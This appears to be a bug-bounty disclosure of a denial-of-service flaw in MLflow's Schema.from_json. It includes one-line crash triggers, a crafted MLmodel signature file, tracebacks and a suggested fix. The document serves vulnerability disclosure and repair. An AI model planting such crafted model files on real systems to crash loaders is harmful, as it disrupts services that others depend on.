EnigmaConsultant/huntr-poc-mlflow-schema-from-json-type-dos

MLflow Schema.from_json unguarded x["type"] dereference → uncaught KeyError/TypeError loader DoS

Target: mlflow (mlflow-org/mlflow) Affected version verified: mlflow 3.14.0 (pip, latest release at time of testing) Vulnerable file/line: mlflow/types/schema.py, Schema.from_json → nested read_input, line 1104 Class: Uncaught exception / Denial of Service at model load & inspect time (CWE-248 Uncaught Exception; malicious model file) Impact: Loading or inspecting an attacker-controlled MLflow model directory crashes the loader with a raw Python KeyError/TypeError traceback (not an MlflowException). No inference and no allocation are needed — the crash occurs while parsing the model's signature metadata.

---

Root cause

Schema.from_json defines a nested dispatcher and applies it to every element of the parsed input/output list before the per-spec constructors (which do carry {"type"} <= set(kwargs) guards) are ever reached:

# mlflow/types/schema.py
@classmethod
def from_json(cls, json_str: str):
    """Deserialize from a json string."""

    def read_input(x: dict[str, Any]):
        return (
            TensorSpec.from_json_dict(**x)
            if x["type"] == "tensor"          # <-- line 1104: unguarded subscript
            else ColSpec.from_json_dict(**x)
        )

    return cls([read_input(x) for x in json.loads(json_str)])   # line 1108

The x["type"] subscript is evaluated with no validation and no try/except:

• (a) an input/output element that is a dict lacking a "type" key raises a raw builtins.KeyError('type');
• (b) an element that is not a dict (bare string, int, list) raises a raw builtins.TypeError (e.g. "'int' object is not subscriptable", "string indices must be integers").

Neither is an MlflowException, and nothing on the Model.load() / ModelSignature.from_dict() / mlflow.pyfunc.load_model() path catches it, so the loader aborts with a raw Python traceback at pure model-load/inspect time.

The signature inputs/outputs JSON lives inside the MLmodel metadata file that ships in every model directory and is fully attacker-controlled.

Call chain (end-to-end): Model.load → Model.from_dict (model.py:831) → ModelSignature.from_dict (signature.py:158) → Schema.from_json (schema.py:1108) → read_input (schema.py:1104).

---

Proof of Concept

Direct unit triggers

from mlflow.types.schema import Schema
Schema.from_json('[{"name": "a"}]')   # KeyError: 'type'                (dict, no "type" key)
Schema.from_json('[123]')             # TypeError: 'int' object is not subscriptable
Schema.from_json('["a"]')             # TypeError: string indices must be integers

End-to-end (crafted model directory)

Create a directory containing only an MLmodel YAML whose signature is inputs: '[{"name": "a"}]'. Both mlflow.models.Model.load(dir) and mlflow.pyfunc.load_model(dir) abort with an uncaught KeyError('type').

# MLmodel
artifact_path: model
flavors:
  python_function:
    env: conda.yaml
    loader_module: mlflow.pyfunc.model
    python_version: 3.10.0
model_uuid: '00000000000000000000000000000000'
run_id: '0000000000000000'
signature:
  inputs: '[{"name": "a"}]'
  outputs: '[{"type": "double"}]'
utc_time_created: '2024-01-01 00:00:00.000000'

Negative control: a well-formed element [{"type":"double","name":"a"}] parses cleanly to a Schema, proving the crash is specific to the missing/ill-typed "type" key rather than a general parse failure.

---

Captured evidence (verbatim) — mlflow 3.14.0

mlflow 3.14.0

VALID  : OK -> ['a': double (required)]                 # negative control parses
MISSING: KeyError "'type'" MlflowException? False        # missing 'type' key

--- Additional unit cases ---
[{"name":"a"}] -> builtins.KeyError: 'type' | MlflowException? False
["a"] -> builtins.TypeError: string indices must be integers, not 'str' | MlflowException? False
[123] -> builtins.TypeError: 'int' object is not subscriptable | MlflowException? False

=== End-to-end: Model.load + pyfunc.load_model on crafted dir ===

Traceback (most recent call last):
  File ".../mlflow/models/model.py", line 821, in load
    return cls.from_dict(model_dict)
  File ".../mlflow/models/model.py", line 831, in from_dict
    signature = ModelSignature.from_dict(model_dict["signature"])
  File ".../mlflow/models/signature.py", line 158, in from_dict
    inputs = Schema.from_json(x) if (x := signature_dict.get("inputs")) else None
  File ".../mlflow/types/schema.py", line 1108, in from_json
    return cls([read_input(x) for x in json.loads(json_str)])
  File ".../mlflow/types/schema.py", line 1104, in read_input
    if x["type"] == "tensor"
       ~^^^^^^^^
KeyError: 'type'

Model.load  RESULT: builtins.KeyError: "'type'"   is MlflowException? False
pyfunc.load_model RESULT: builtins.KeyError: "'type'"   is MlflowException? False

Full repro script: verify_from_json_type.py (included in this repo).

---

Suggested fix

Validate each element inside read_input before dereferencing x["type"] — e.g. require x to be a dict and raise a wrapped MlflowException (INVALID_PARAMETER_VALUE) when "type" is missing/ill-typed, mirroring the {"type"} <= set(kwargs) guard already used by ColSpec.from_json_dict / TensorSpec.from_json_dict.

---

Dedup / distinctness note

This is a top-level input/output dispatch crash in Schema.from_json's nested read_input (schema.py:1104) on the signature inputs/outputs field. It is distinct from the other MLflow loader-DoS findings packaged separately:

• paramspec DoS — ParamSpec.from_json_dict / DataType[dtype] on the params field (different function, different field).
• signature-recursion DoS — nested Array/Object/Map → RecursionError (different mechanism: unbounded recursion, not a missing-key subscript).
• tensorspec-dtype DoS — TensorInfo np.dtype on tensor specs (different function/field).
• Not the flavor-loader RCEs (xgboost/pytorch/h2o/llama-index/transformers/statsmodels) — this is a non-RCE availability bug on the shared signature-parsing path.

No known CVE covers this specific Schema.from_json x["type"] dereference at time of writing. This is an availability (DoS)/robustness issue: a malicious/corrupt MLmodel signature crashes loaders and any tool that inspects model metadata with a raw, uncaught Python exception rather than a controlled MlflowException.